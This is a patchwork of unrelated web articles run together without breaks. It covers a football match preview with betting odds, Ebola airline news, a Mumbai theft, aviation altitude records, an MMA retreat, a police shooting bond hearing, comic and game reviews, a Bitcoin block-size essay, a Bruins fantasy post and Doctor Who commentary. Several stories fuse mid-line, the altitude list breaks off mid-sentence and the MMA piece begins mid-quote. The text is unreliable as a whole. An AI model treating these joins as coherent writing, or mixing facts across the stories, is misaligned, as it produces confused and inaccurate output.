Unsurprisingly, Arsenal have been crippled by injuries to key players with defenders Per Mertesacker, Gabriel Paulista and striker Danny Welbeck certain to miss the opening game against Liverpool, according to the Soccerway. To cover the void left by the injuries, manager Wenger is desperate to bring new names in the club, with Valencia defender Shkodran Mustafi and Manchester City striker Wilfred Bony rumoured to join Arsenal in the coming weeks.
Probable Line-ups
As per the Evening Standard, the predicted stating eleven of both teams are provided.
Arsenal: Cech; Bellerin, Chambers, Monreal, Gibbs; Xhaka, Coquelin; Oxlade-Chamberlain, Ramsey, Iwobi; Sanchez
Liverpool: Mignolet; Clyne, Lovren, Matip, Milner; Lallana, Can, Henderson; Mane, Firmino, Coutinho
Betting Odds ( via Paddypower)
Arsenal win: 7/5
Draw: 23/10
Liverpool win: 2/1
Both team to score: 4/6
Both team not to score: 11/10
Prediction
Arsenal will surely miss the absence of their core players, namely Mesut Ozil, Oliver Giroud, Laurent Kocielny and Per Mertesacker. In their absence, Wenger have to make some players operate out of their position, with Alexis Sanchez likely to lead the attack and Nacho Monreal is likely to be makeshift centerback in the absence of the experience duo of Kocielny and the giant German. However, against a very sharp Liverpool attack, as demonstrated by the recent thrashing of Barcelona in the Wembley, Liverpool can make Arsenal suffer due to inexperience of Arsenal’s main defenders. The acquisition of Sadio Mane gives another dimension to Liverpool, with the powerful striker can cause Arsenal’s defense problems with his pace and clever movements.
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However, the positive point for Arsenal is that they will be playing in front of home supporters and this home advantage can help the London side to grind out a result. Considering all these factors, it will certainly be difficult to choose winner from Arsenal Vs. Liverpool; so the game is likely to become a stalemate.
Watch Live Streaming Online
To enjoy the football match Arsenal Vs. Liverpool, you can click the link provided here. You can also watch the game opening the link here if you reside in Indian subcontinent. The link will be updated just before the kick-off.
[Photo by Alex Livesey/Getty Images]Dubai's Emirates said it had suspended flights to Guinea over Ebola, becoming the first major international airline to impose a ban in response to the outbreak of the deadly virus in West Africa.
Flights would be suspended until further notice, the airline said in a statement on its website.
''The safety of our passengers and crew is of the highest priority and will not be compromised,'' it said.
The Ebola outbreak, which began in Guinea and has spread to Liberia and Sierra Leone, has killed more than 700, making it the deadliest since the virus was discovered almost 40 years ago.
Sierra Leone declared a state of emergency on Wednesday.
In line with guidelines from International airlines association IATA and the World Health Organisation, several major airlines and international airports have started health screening of passengers on flights from West Africa.
But IATA said on Thursday the WHO was not recommending travel restrictions or border closures, and there would be a low risk to other passengers if an infected person flew.
Nigeria's largest airline Arik Air, which flies to a limited number of international destinations including London, has stopped flights to Liberia and Sierra Leone.
Pan-African airline Asky was suspended by Nigeria's civil aviation authorities for bringing the first Ebola case to the country's largest city Lagos.
West African leaders agreed on Friday to take stronger measures to try to bring Ebola under control and prevent it spreading outside the region
.Emirates, which does not fly to either Liberia or Sierra Leone, said any further actions in connection with the outbreak would be ''guided by the advice and updates from the government and international health authorities.''
"Over the last weeks, there has been a significant surge in the epidemic - the number of cases has increased dramatically in Sierra Leone and Liberia, and the disease has spread to many more villages and towns," Doctors Without Borders said in a statement.
"After a lull in new cases in Guinea, there has been a resurgence in infections and deaths in the past week."
At least 729 people have died since cases first emerged in March: 339 in Guinea, 233 in Sierra Leone, 156 in Liberia and one in Nigeria.
Two American health workers in Liberia have been infected, and an American man of Liberian descent died in Nigeria from the disease, health authorities there say.
Plans were underway to take the two American aid workers - Nancy Writebol and Dr. Kent Brantly - back to the US.
A small private jet based in Atlanta has been dispatched to Liberia. Officials said the jet was outfitted with a special, portable tent designed for transporting patients with highly infectious diseases.
While health officials say the virus is transmitted only through direct contact with bodily fluids, many sick patients have refused to go to isolation centres and have infected family members and other caregivers.
The fatality rate has been about 60 perbcent, and the scenes of patients bleeding from the eyes, mouth and ears has led many relatives to keep their sick family members at home instead. Sierra Leone is now sending teams door-to-door in search of Ebola patients and others who have been exposed to the disease.
Chan emphasized Friday that the general public "is not at high risk of infection," but also said the Ebola virus should not be allowed to circulate widely.
"Constant mutation and adaptation are the survival mechanisms of viruses and other microbes," she said.
"We must not give this virus opportunities to deliver more surprises."
Randy Schoepp, chief of diagnostics at the US Army Medical Research Institute of Infectious Diseases, which is running the only lab in Liberia testing Ebola samples, said: "The virus is getting to large, dense, city areas. We're now getting samples (to test) from all over."
But he said "we're only seeing a small portion of the cases out there," partly because many drivers are scared to transport vials of blood that may contain Ebola to the lab.
-Reuters and APInstead of standing helpless when a 20-year-old man snatched her chain at Mahalaxmi station, 48-year-old Vaishali Todankar got off the running train, chased him and then handed him over to the police.
The accused, Sumeet Jawalekar, is a resident of Dhobi Ghat. He had boarded the ladies compartment of a Virar-bound train at Mahalaxmi station on Thursday with an intention to steal.
According to the police, the incident took place around 2pm. Todankar, a resident of Mahalaxmi, works at the Central Railway’s Matunga workshop. She had boarded the second class ladies compartment at Mahalaxmi. As the train was relatively empty, she got a seat inside the compartment.
As the train set in motion, the accused entered the compartment and approached her and snatched her gold chain weighing 27 grams. He then quickly jumped out of the train on the platform.
Todankar, without waiting for a second, mustered courage and jumped out of the moving train. She started chasing him and also raised an alarm.
On hearing her screams, fellow commuters waiting on the platform joined her.
She with the help of a few commuters succeeded in nabbing Jawalekar and getting her stolen gold chain. This after chasing him for a good 15-metre distance.
The fellow commuters thrashed him before handing him over to the Government Railway Police (GRP) patrolling on the station.
“We have arrested Sumeet Jawalekar for robbery. We also have Todankar’s complaint. Jawalekar will be produced before the Mumbai Central railway court on Friday,” said Shivaji Shinde, senior inspector from Mumbai Central GRP station.
The victim was unavailable for comment.Explorer II gondola, 1935
This listing of flight altitude records are the records set for the highest aeronautical flights conducted in the atmosphere, set since the age of ballooning.
Some, but not all of the records were certified by the non-profit international aviation organization, the Fédération Aéronautique Internationale (FAI). One reason for a lack of 'official' certification was that the flight occurred prior to the creation of the FAI.[1]
For clarity, the "Fixed-wing aircraft" table is sorted by FAI-designated categories as determined by whether the record-creating aircraft left the ground by its own power (category "Altitude"), or whether it was first carried aloft by a carrier-aircraft prior to its record setting event (category "Altitude gain", or formally "Altitude Gain, Aeroplane Launched from a Carrier Aircraft"). Other sub-categories describe the airframe, and more importantly, the powerplant type (since rocket-powered aircraft can have greater altitude abilities than those with air-breathing engines).[1]
An essential requirement for the creation of an "official" altitude record is the employment of FAI-certified observers present during the record-setting flight.[1] Thus several records noted are unofficial due to the lack of such observers.
These aviation-related lists are incomplete; you can help by expanding them with more items referenced to reliable sources.
Balloons [ edit ]
Hot-air balloons [ edit ]
Year Date Altitude Person Aircraft Notes imperial metric 2004 December 13, 2004 4.1 mi (22,000 ft) 6.614 km (6,614 m) David Hempleman-Adams Boland Rover A-2 Fédération Aéronautique Internationale record for hot air balloon as of 2007 1783 15 October 1783 0.016 mi (84 ft) 0.026 km (26 m) Pilâtre de Rozier Montgolfier tethered balloon
On November 26, 2005, Vijaypat Singhania set the world altitude record for highest hot-air-balloon flight, reaching 21,290 m (69,850 ft). He launched from downtown Bombay, India, and landed 240 km (150 mi) south in Panchale. The previous record of 19,811 m (64,997 ft) had been set by Per Lindstrand on June 6, 1988 in Plano, Texas.[citation needed]
Unmanned gas balloon [ edit ]
During 1893 French scientist Jules Richard constructed sounding balloons. These unmanned balloons, carrying light, but very precise instruments, approached an altitude of 50,000 feet (15,240 meters).[6]
The U.S. (and for a while, the world) altitude record for unmanned balloons was 51.8 km (170,000 ft) (according to a 1991 edition of Guinness Book of World Records). The vehicle was a Winzen-Balloon with a volume of 1.35 million cubic metres, launched in October 1972 in Chico, California, USA.[citation needed]
During 2002 an ultra-thin-film balloon named BU60-1 made of polyethylene film 3.4 µm thick with a volume of 60,000 m³ was launched from Sanriku Balloon Center at Ofunato City, Iwate in Japan at 6:35 on May 23, 2002. The balloon ascended at a speed of 260 m per minute and successfully reached the altitude of 53.0 km (173,900 ft), breaking the previous world record set during 1972.[7]
Gliders [ edit ]
On February 17, 1986, The highest altitude obtained by a soaring aircraft was set at 49,009 ft (14,938 m) by Robert Harris using lee waves over California City, USA.[8]
This was surpassed at 15,460 m (50,720 ft) set on 30 August 2006 by Steve Fossett (pilot) and Einar Enevoldson (co-pilot) in their high performance research glider Perlan 1, a modified Glaser-Dirks DG-500.[8] This record was also achieved over El Calafate (Patagonia, Argentina) and set as part of the Perlan Project.[9]
This was raised at 52,172 ft (15,902 m) on September 3, 2017[10] by Jim Payne (pilot) and Morgan Sandercock (co-pilot) in the Perlan 2,[11] a special built high altitude research glider. This record was again achieved over El Calafate and as part of the Perlan Project.[9]
On 2nd September 2018, within the Airbus Perlan Mission II, again from El Calafate, the Perlan II piloted by Jim Payne and Tim Gardner reached 76,124 ft (23,203 m), surpassing the 73,737 ft (22,475 m) attained by Jerry Hoyt on April 17, 1989 in a Lockheed U-2: the highest subsonic flight.[12]
Fixed-wing aircraft [ edit ]
Piston-driven propeller aeroplane [ edit ]
The highest altitude obtained by a piston-driven propeller UAV (without payload) is 67,028 feet (20,430 m). It was obtained during 1988–1989 by the Boeing Condor UAV.[50]
The highest altitude obtained in a piston-driven propeller biplane (without a payload) was 17,083 m (56,047 ft) on October 22, 1938 by Mario Pezzi at Montecelio, Italy in a Caproni Ca.161 driven by a Piaggio XI R.C. engine.[51]
The highest altitude obtained in a piston-driven propeller monoplane (without a payload) was 18,552 m (60,866 ft) on August 4, 1995 by the Grob Strato 2C driven by two Teledyne Continental TSIO-550 engines.
Jet aircraft [ edit ]
The highest current world absolute general aviation altitude record [52] propelled aircraft is 37,650 metres (123,520 ft) set by Aleksandr Vasilyevich Fedotov, in a Mikoyan Gurevitch E-266M (MiG-25M), on 31 August 1977.
Rocket plane [ edit ]
The highest altitude obtained by a manned aeroplane (launched from another aircraft) is 112,010 m (367,487 ft) by Brian Binnie in the Scaled Composites SpaceShipOne (powered by a Scaled Composite SD-010 engine with 18,000 pounds (8,200 kg) of thrust) on 4 October 2004 at Mojave, CA. The SpaceShipOne was launched at over 43,500 ft (13.3 km).[49] The previous (unofficial) record was 107,960 m (354,199 ft) set by Joseph A. Walker in a North American X-15 in mission X-15 Flight 91 on August 22, 1963. Walker had reached 106 km – crossing the Kármán line the first time – with X-15 Flight 90 the previous month.
The record for highest altitude obtained by a rocket-powered aircraft (self-launched—i.e. not launched from another aircraft) was 24,217 m (79,452 ft) on May 2, 1958 by Roger Carpentier over Istres, France in a Sud-Ouest Trident II mixed power (turbojet & rocket engine) aircraft.[53] The unofficial altitude record for aircraft with self-powered takeoff was 36,820 m (120,800 ft) on December 6, 1963 by Major Robert W. Smith in a Lockheed NF-104A mixed power (turbojet and rocket engine) aircraft.[54]
Electrically powered aircraft [ edit ]
The highest altitude obtained by an electrically powered aircraft is 96,863 feet (29,524 m) on August 14, 2001 by the NASA Helios, and is the highest altitude in horizontal flight by a winged aircraft. This is also the altitude record for propeller driven aircraft, FAI class U (Experimental / New Technologies), and FAI class U-1.d (Remotely controlled UAV : Weight 500 kg to less than 2500 kg).[55]
Rotorcraft [ edit ]
On June 21, 1972, Jean Boulet of France piloted an Aérospatiale SA 315B Lama helicopter to an absolute altitude record of 40,814 feet (12,440 m).[56] At that extreme altitude, the engine flamed out and Boulet had to land the helicopter by breaking another record: the longest successful autorotation in history.[57] The helicopter was stripped of all unnecessary equipment prior to the flight to minimize weight, and the pilot breathed supplemental oxygen.
The record was broken on March 23, 2002 by Fred North. North achieved an altitude of 12954 m (42,500FT) in a Eurocopter AS350 B2.
Paper airplanes [ edit ]
The highest altitude obtained by a paper plane is currently for the Paper Aircraft Released Into Space (PARIS) project, which was released at an altitude of 27,307 metres (89,590 ft), from a helium balloon that was launched approximately 80 kilometres (50 mi) west of Madrid, Spain on 28 October 2010, and recorded by The Register's "special |
at the time. Those are my real feelings. I didn’t expect for her to get emotional like that. She’s a strong woman. Actually I was just shocked, because I wasn’t trying to pull out that kind of response. I guess I said something to her and it clicked with her, and it really touched her.”
Zingano would eventually find Curran again before the retreat ended, and Zingano hugged her for saying what she did. Though they come from gyms with potential conflicts of interest — strawweights such as Angela Hill and Jessica Penne train at Alliance, while “Cyborg” trains with Curran — they made a friendship on the spot. It was an unexpected twist to a weekend with so much disenchantment in play, so much disillusion, and so much awkwardness between fighters.
What Curran said was essentially this: In and out of the cage, win or lose, after a triumphant moment or through two years of dark, fighters are rarely alone. There are always others sharing silently in the emotional tolls.
“There was so many other negative things that happened through this athlete retreat,” Curran says. “And for something good like that to come out of it, that’s really great.”A judge denied bond for ex-Fairfax officer Adam D. Torres on Wednesday, who is charged with second-degree murder in the fatal shooting of an unarmed Springfield man in 2013. (WUSA9)
A judge denied bond for ex-Fairfax officer Adam D. Torres on Wednesday, who is charged with second-degree murder in the fatal shooting of an unarmed Springfield man in 2013. (WUSA9)
A former Fairfax County police officer charged with shooting and killing an unarmed Springfield, Va., man in 2013 was “deteriorating” mentally before the fatal encounter, a prosecutor said in a bail hearing Wednesday.
Adam D. Torres, who was on duty when he shot John Geer during a standoff after a domestic disturbance call, was denied bond and appeared to faint a short time later during his first court appearance on a charge of second-degree murder.
Commonwealth’s Attorney Raymond F. Morrogh argued against bond, telling a Fairfax County Circuit Court judge that Torres was upset before the shooting and had told supervisors that his wife had cheated on him and traveled to Hawaii with a boyfriend.
On another occasion, Morrogh said Torres had been sent home from work because he was “upset and disoriented.” Morrogh also said Torres went home sick one day, but supervisors later learned that he was spending time with family.
The disclosures drew gasps from Torres’s wife and parents, who sat in the front row of the courtroom, and Torres appeared angry and leaned over to consult with his attorney. Torres did not address the court during the hearing.
1 of 7 Full Screen Autoplay Close Skip Ad × The John Geer case: The moments before and after the shooting View Photos Former Fairfax County police officer Adam Torres is charged with second-degree murder in the fatal shooting of John B. Geer at his home in August 2013. Caption Former Fairfax County police officer Adam Torres is charged with second-degree murder in the fatal shooting of John B. Geer at his home in August 2013. John Geer stood with his hands raised in the doorway of his townhouse in Springfield, Va., during a standoff with Fairfax County police Aug. 29, 2013. Geer had been in an argument with his partner of 24 years and had been throwing her belongings into the front yard. Courtesy of DiMuro Ginsberg Buy Photo Wait 1 second to continue.
Morrogh did not mention it at the bond hearing, but Torres had also cursed repeatedly at one of Morrogh’s assistants at the courthouse in March 2013 after a trial unrelated to the shooting. The incident prompted police brass to apologize.
At Wednesday’s hearing, Morrogh said he had never seen another police shooting like Geer’s.
Torres “shot a man with his hands up, and that makes him dangerous,” Morrogh said.
Torres’s attorney, John Carroll, argued for setting a bond, saying his client shot Geer while carrying out his duty to protect the community. Carroll said that Geer was a threat and that Torres was not a flight risk because he had strong ties to the area. Torres grew up in Fairfax County, has two children and owns a home in Culpeper County.
“Officer Torres was duty-bound to investigate what was going on,” Carroll said. “When he finds Geer had a gun, he is further duty-bound to ensure no one gets hurt.”
The incident began on the afternoon of Aug. 29, 2013, when officers were called to Geer’s home for a report of a domestic disturbance. Geer, 46, was throwing his partner’s possessions on the front lawn after they had argued.
When officers approached, Geer showed them a holstered gun and said he was not afraid to use it, before placing it on the ground, officers later told investigators. An officer began negotiating with Geer to get him to leave the house, but he refused and stood in his doorway with his hands resting on top of a storm door.
Former Fairfax County police officer Adam D. Torres is shown in this police department photo released on Aug. 17, 2015. (Fairfax County Police Department/Reuters)
After 42 minutes, Torres fired a single shot at Geer, startling the other officers. Geer was hit and retreated inside the home. Police waited 70 minutes to enter the house and found Geer dead.
Carroll said in court that Torres shot Geer because he saw him quickly move his hands toward his waist, possibly to grab for a gun.
But four other officers at the scene, Geer’s father and a friend, who were also there, contradicted that account in interviews with investigators and said Geer had his hands up above his shoulders when he was shot.
Judge Stephen C. Shannon said he would not grant bail to Torres because of the circumstances of the shooting and the concerns about Torres’s mental state at the time of the incident.
Shortly after, as Shannon was setting a trial date, Torres appeared to faint and fell backward to the floor. He was surrounded by sheriff’s deputies and was speaking to them. The hearing was suspended for about 25 minutes, and Torres was taken to a hospital. Morrogh said Torres appeared to be in good shape.
The hearing resumed without Torres, and Shannon set a Dec. 14 trial date before adjourning.
On Monday, a Fairfax special grand jury indicted Torres in Geer’s killing. The county police department fired him at the end of July. Torres turned himself in shortly after the indictment.
The killing has stirred protests in Fairfax and prompted county officials to review how the police department uses force and communicates about police shootings with the public.
On Wednesday, Torres appeared in court in a green jail jumpsuit and showed little emotion during most of the hearing. Afterward, his wife and family declined to comment.
Jeff Stewart, the friend of Geer’s who witnessed his shooting, said he was gratified that the legal process was finally beginning two years after his friend was killed.
“It’s about time,” Stewart said. “It’s been a lot of hard work. Hopefully, the process will move forward now.”The Good
I think it can sometimes be hard to read these books and critique them objectively because there's this feeling that resonates when you read it where you ask yourself whether or not it's right for you to enjoy the comic for what it is -- completely detached from the previous incarnation of these characters and the writings of Alan Moore. If you are able to look at the book objectively for what it is -- an extension of a story based on one of the greatest graphic novels of all time -- and if you can do that without comparing the two portrayals, you'll find that BEFORE WATCHMEN: NITE OWL #2 isn't a bad comic. For what it is, it's actually pretty good.
The first issue was pretty self explanatory and served as an introduction to the "new" Nite Owl. He teamed up Rorschach established an "Owl Cave," and so on. A lot of what we saw had previously been established by Alan Moore. It's here, in the second issue of the series, that it feels like Straczynski is finally flexing his talent a little bit. He's taking liberties. He's still inspired by what has already been established by Moore, but he's expounding on the relationship, interaction and the identities of both Nite Owl and Rorschach. To his credit, he's written a pretty decent issue #2. What stood out the most to me was the interaction between the two characters. The way they compliment one another, even though they are complete opposites; I think J. Michael managed to capture a little bit of that magic. He portrays Rorschach as having these hard line conviction about women, promiscuity and our society, and each time J. Michael makes a statement about Rorschach's convictions, he gives us a flashback to when Rorschach is a child; reminding the reader where these deep seeded sentiments came from. He draws an interesting parallel between Rorschach and Nite Owl by reinforcing the Mothers of both characters. Neither one of these men had easy childhoods, and both witnessed the physical and emotional and mental abuse of their Mothers. And although both have that in common, their perspectives on life and society is completely different, even if their "end" is essentially very similar.
It's written because you are given that comparison and that contrast, and it is reinforced with the flashbacks that lead to a better understanding of who these characters are and why they think the way they think. Both want to dramatically change the way society works and the way things are, but both have incredibly contrasting points of view.
I did enjoy the art in this issue, but I'm a big fan of both Andy and Joe Kubert. I think they are both incredibly talented comic book artists, and I do think they were right for this issue.
The Bad
Some of the dialogue, particularly between a young Nite Owl and his Mother was relatively irksome. There was a certain level of disconnect between the two characters. The dialogue just wasn't believable in some respects.
I also really have a problem with there being a CRIMSON CORSAIR backup in these books. I think it's one thing to say okay, we're going to dissect and tell more stories about the Watchmen characters because we feel there is more to tell. But it doesn't feel like it's necessary to say anything else about the Crimson Corsair backup story. That story felt complete already. I get that some will make the same argument for the Watchmen characters as well, but there's something very different about the two. Perhaps because NITE OWL is already connected with the other books, serving this up as a backup just feels unnecessary.
The Verdict
This is not a bad story. I think the way it's structured is interesting. The constant parallels presented by the created team. The comparisons made between the two central characters -- all these things help tell a good story. Couple that with some great art by the fantastic Kubert brothers, and you have a decent book and overall, a good story. If you're not married to the idea that the Watchmen characters should never be tampered with, you may actually get something out of this series.Dragon’s Dogma is like a precociously intelligent teenager, in the sense that it has ideas beyond those of its peers, but struggles to explain itself. There’s no better example than the game’s rushed opening, which drops you into the armored boots of a warrior about to face a giant chimera. Then suddenly you’re at a character creation screen, wondering what happened to that other warrior. Then, a second character creation screen. Even though the game explains that you’re designing a Pawn -- an AI sidekick meant to assist the user-created main character -- we were left wondering who the hell was going to be our protagonist, anyway.
Dragon’s Dogma is an attempt to breed the open world exploration of Skyrim with the fierce combat of Capcom staples like Devil May Cry and Monster Hunter. You play as the Arisen, a hero chosen by fate to rid the world of an evil dragon that stole his heart. No, we don’t mean he fell in love with the dragon. That evil nuisance clawed his heart right out of his chest in the game’s opening cinematic.
While Dragon’s Dogma gets off to an awkward start, we recommend you power through it, since the good stuff isn’t far off. The choices you make during the hurried opening are not permanent, and once you reach the capital city of Gran Soren, you’ll soon be able to respec yourself and your primary Pawn, or select new classes entirely. This was lucky for us, since we found our initial pairing of Fighter and Striker to be ineffective. More importantly, being able to swap vocations easily is a boon, because each of Dragon’s Dogma’s specializations plays in a spectacularly different manner.
Fighter, Striker and Mage all serve as your basic warrior, rogue and magic-user set-up. Leveling different classes allows you to choose new skills that you map to the X, Y and B buttons. Upgrading an ability gives it a faster execution, wider area of effect, or some other perk more immediate than the typical “+1 to fire spells” of most RPG’s. Choosing new skills will let you design your own combos, rather than working a stat sheet.
There are also fantastic hybrid classes, which you’ll want to check out immediately. The Magic Archer’s enchanted bow lets him highlight multiple targets and unleash a flurry of homing arrows. The Mystic Knight can enchant his shield, allowing him to damage enemies while blocking. He can also summon a “magic cannon,” a sphere of energy he strikes with a melee weapon, flinging projectiles at his foes.
Making sure that you and your primary Pawn complement each other is essential to winning battles. Combat is built around the relationship between you and your AI team. It replicates the standard tank, healer and DPS structure of any MMO, but Dogma’s slick, real time combat gives it an immediacy other games lack.
The primary Pawn you design will be your lifetime sidekick, but you can adjust their class, behavior and equipment. The other two Pawns in your party can be swapped to suit your changing needs. Just visit a Rift Stone in any town to select new Pawns for your party. You can even use another player’s custom Pawn, which adds a great bonus. Dragon’s Dogma has an online feature that we used to select Pawns other gamers had designed. Our own Pawn was loaned out as well, but we were never without them. Other players simply used a copy of them, which synced with our own whenever we rested at an inn. Our Pawn would often come back with knowledge of a quest we hadn’t tried yet, eager to offer advice that was sometimes actually helpful. It’s an excellent feature.Scalability, Hard Forks and Markets
Stephen Pair Blocked Unblock Follow Following Jan 6, 2016
This is the third of four articles outlining BitPay’s current throughts and plans regarding the block size issue. It follows yesterday’s article: Bitcoin as a Settlement System.
This article covers several topics that didn’t fit neatly into the other articles, but are important and relevant to the ongoing debates about the scalability, upgradeability and the future of Bitcoin in general.
The Fear of Hard Forks
The Bitcoin community is paralyzed with fear when it comes to hard forks. While it’s understandable, it’s something we need to get past. Unless you believe that Bitcoin can have a future without any hard forks, we must be able to successfully manage a hard fork or Bitcoin will eventually perish. The Bitcoin community has always held the view that if there is a fatal flaw in Bitcoin, it’s better to discover it sooner rather than later (when the stakes are potentially much higher). Perhaps it is better that we deploy a hard fork sooner rather than later. It would be reassuring to know that we can successfully incorporate new innovations into Bitcoin.
Bitcoin is Not Inherently Less Efficient than Centralized Payment Networks
Many people believe that Bitcoin is inherently less efficient than centralized payment networks like Visa and MasterCard. It isn’t. When comparing Bitcoin with these systems, people typically point out there is a lot of waste and inefficiency because you have so many nodes performing redundant work. But it’s not required that we have lots of nodes validating transactions.
Bitcoin would work perfectly well if only one node was validating transactions and building the block chain. And due to the nature of a Bitcoin transaction, you don’t need to employ costly machine learning algorithms to combat fraud (as the card networks do). However, there is one caveat; you have to fully trust the one node performing the validation. But that’s no different than the trust you have to place in the card network operators.
To eliminate the need to trust a single, centralized validation node, you can choose to run your own node and perform your own validation. That is a feature of Bitcoin that the card networks don’t have. There are only as many nodes on the Bitcoin network as there is demand to perform independent and trust-less validation of transactions. Yes, at a macro level, a lot of redundant work is being performed, but all of that extra work has value to someone.
In the degenerate case of only one centralized node, which is most comparable to the legacy card networks, Bitcoin is probably more efficient.
The Value of Running a Full Node
When you run your own Bitcoin node, you have an added level of safety compared with someone using a lightweight wallet or a Bitcoin bank. You aren’t relying on a third party to verify that the Bitcoins someone has sent to you are valid. You aren’t relying on them to tell you when that transaction has been confirmed in a block (or how many confirmations it has).
If your wallet is using a third party service to interface with the Bitcoin network, you are placing trust in that third party to tell you the truth about the state of the Bitcoin system. If such a service wanted to defraud you, they could tell you that you’ve received a payment that has been confirmed, when in fact it hasn’t. That might be an acceptable risk if you’re dealing in small amounts of value. Or it might be acceptable if you have a close relationship with the third party (maybe it’s your employer or a small organization you’re a part of). But in other circumstances, it would be completely unacceptable.
At BitPay for example, we run a lot of Bitcoin nodes and we are able verify transactions without having to trust any third party. Likewise, many individuals, organizations and service providers also run their own nodes because of the value of that independence. It reduces third party risk. The more widely used and significant Bitcoin becomes, the more people and companies will have a need to perform their own, independent transaction verification.
Shameless plug: if you use the Copay wallet, considering running your own instance of the bitcore wallet service: bitcore.io
A Fee Market Already Exists
The Bitcoin block size limit that Satoshi set back in 2010 was a stop gap measure intended to prevent a trivial denial of service attack. It was not intended to create an arbitrary and artificial scarcity for space in the block chain. At 1mb, this limit was well above the market demand for transaction volume at the time and allowed a proper transaction fee market to develop.
Miners already have plenty of disincentive for including transactions in a block. Each additional transaction included in a block increases the risk that the block might be orphaned. Therefore, miners will prefer to only include transactions that provide enough fee revenue to offset the increased orphan risk.
Today, the demand for transactions is bumping up against this artificial limit and is impairing the proper functioning of the Bitcoin network. As a result of this artificial scarcity, miners are being forced to only include transactions with artificially high fees. Eventually, Bitcoin transactions will be priced out of the market and alternative cryptocurrencies (or perhaps a fork of the Bitcoin block chain) will take market share. The transaction fee market is alive and well. If Bitcoin fails to deliver a product people want at a price they find attractive, there are many other options.
The Market for Bitcoin Scalability Enhancements
If the block size limit was a consensus rule that was allowed to adjust with the market demand, miners could process increasingly larger volumes of transactions to meet the demand. Eventually they would bump up against the limits of the current Bitcoin implementations and incur increasing costs as a larger percentage of their blocks end up as orphans. Miners would constrain the size of their blocks while developers work to improve scalability and performance. The increasing demand from users would provide the resources and incentive needed to invest in new technology to improve the scalability of Bitcoin.
Continue Reading: A Simple, Adaptive Block Size LimitUpdate: Oddworld: Stranger's Wrath has been released on the Play Store, and glory be, it looks like it's not exclusive to anything. You can download it now on any Android 4.0 or higher device, and the Play Store version has the same external controller support and $5.99 price tag. Thanks to commenters step_jac and Amarus Kh for letting us know.
Update again: It looks like Stranger's Wrath is compatible with Android TV as well. Nice.
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The Oddworld series is one of the hidden gems of gaming: it's never been a blockbuster in terms of sales, but each game is utterly unique and brings innovative elements across setting, story, aesthetics, and gameplay. Stranger's Wrath was first released as an Xbox game (that's the original Xbox, kids!) back in 2005. It's since been re-released on a few platforms including the PC and iOS, and now it's come to Android.
Trailer is from the iOS version of the game.
Well, sort of. You can only buy Oddworld: Stranger's Wrath on the Amazon Appstore, and based on the device compatibility and the initial reviews, you'll need a Kindle Fire HD or later Amazon device to actually play the game. This is, if you'll pardon the pun, odd: the last we heard of the mobile version of Stranger's Wrath, it was set to be an exclusive for NVIDIA's SHIELD Tablet, along with Strike Suit Zero and Pure Pool. Why publisher Oddworld Inhabitants decided to switch to Amazon, and apparently sometime in the last month or so, we couldn't say.
In any case, Stranger's Wrath is a 3D action-adventure title in which you play the titular Stranger, a bounty hunter who looks like a cross between Chewbacca and Clint Eastwood. The perspective shifts from third-person for travel and platforming sections as you track down bounties, into first-person for shooting the game's unconventional weapons (including a crossbow that fires slugs, bees, and exploding bats). The Android version relies primarily on on-screen controls, but support for standard external controllers is included.
The Oddworld universe is one of the most unique in gaming; I imagine it as what you'd get if they let Guillermo del Toro direct a Pixar movie. Just checking out the various sights would be enough for me to shell out the $6 asking price, but I don't have anything that's compatible with it. We can but hope for a wider Play Store release soon.
Amazon Appstore - Oddworld: Stranger's WrathBuild your best Bruins team for $18 We’re totally borrowing Chicago’s idea.
Our Chicago friends at Second City Hockey had a great post on Thursday: build the best “dream team” you can for $18.
(Check out the SCH post here.)
The idea behind the post is to take a group of 30 all-time franchise greats, assign a dollar value of $1 to $5 for each, and then build the best team you can for a total of $18 or less.
The guys at SCH are going to run their teams in a simulation against this year’s Pittsburgh Penguins in a WhatIf Sports simulation; if we get enough interest, we can run some combos against the 2011 Bruins Stanley Cup team or even against whichever teams SCH chooses as their best.
For fun, we kept current Bruins (i.e. Zdeno Chara and Patrice Bergeron) out of this.
So take the players from the list below, build your all-time Bruins team in the comments section, and give us an explanation as to why you made your choices.
Hey, it’s the offseason. We have to fill the time somehow, right?
Choose a goalie
Player Cost Player Cost Gerry Cheevers $5 Tim Thomas $4 Frank Brimsek $3 Tiny Thompson $2 Eddie Johnston $1
Choose two defensemen
Player Cost Player Cost Bobby Orr $5 Eddie Shore $4 Ray Bourque $3 Brad Park $2 Gord Kluzak $1
Choose a left wing
Player Cost Player Cost John Bucyk $5 Wayne Cashman $4 Woody Dumart $3 Stan Jonathan $2 Sergei Samsonov $1
Choose a center
Player Cost Player Cost Phil Esposito $5 Barry Pederson $4 Adam Oates $3 Peter McNab $2 Joe Thornton $1
Choose a right wing
Player Cost Player Cost Rick Middleton $5 Cam Neely $4 Ken Hodge $3 Terry O'Reilly $2 Glen Murray $1Doctor Who thing of the day: Steven Moffat weirdly limits who can be a companion
Steven Moffat has teased a bit of info on the new companion, to be played by Jenna-Louise Coleman. NME quotes Moffat from Doctor Who Magazine (which isn’t online):
It’s going to be a shock, I think. In terms of the companions all being ‘the same’ – that’s not as phony or artistically crap a thing to say as it sounds. What is the base group of people who would run away with the Doctor? They’re all going to be a bit mad. A bit dislocated. Not happy with where they are. Are they yearning for outer space? They’re going to be people who feel like they can take on the Doctor, who’s quite an intimidating sort of person. So, they’re going to be feisty – they’re going to be all those things. He sort of defines the people who are going to travel with him. The distinction comes very much from the various actors and actresses. So, you know, they’re the ones who create the differences between them. But you are always going to have the same sort of person, just because it’s the same man choosing them, and it’s the same person being chosen. … It’s just a question of who credibly is going to agree to go in the TARDIS? Who’s going to do it? Is it going to be a mother of 15 children? No. Is it going to be someone in their 60s? No. Is there going to be a particular age range? I mean… who’s going to have a crush on the Doctor? You know, come on! It’s more than a format. It’s evolved from good, dramatic reasons.
Moffat isn’t wrong… to a point. Yes, there is a certain personality type that will be drawn to running away with the Doctor. But he’s limiting himself in a way that’s frankly shocking for the guy running a show like Doctor Who, in which the range of dramatic possibilities is far wider than for most other shows.
Does Moffat seriously believe that only young people feel dislocated or dream of outer space or are a bit mad? Does he seriously think that a 60-year-old woman — or a 60-year-old man, for that matter — couldn’t possibly have a crush on the Doctor? Does he seriously believe that the only basis for wanting to run away with the Doctor is a sort of generic low-level disaffection with ordinary everyday life?
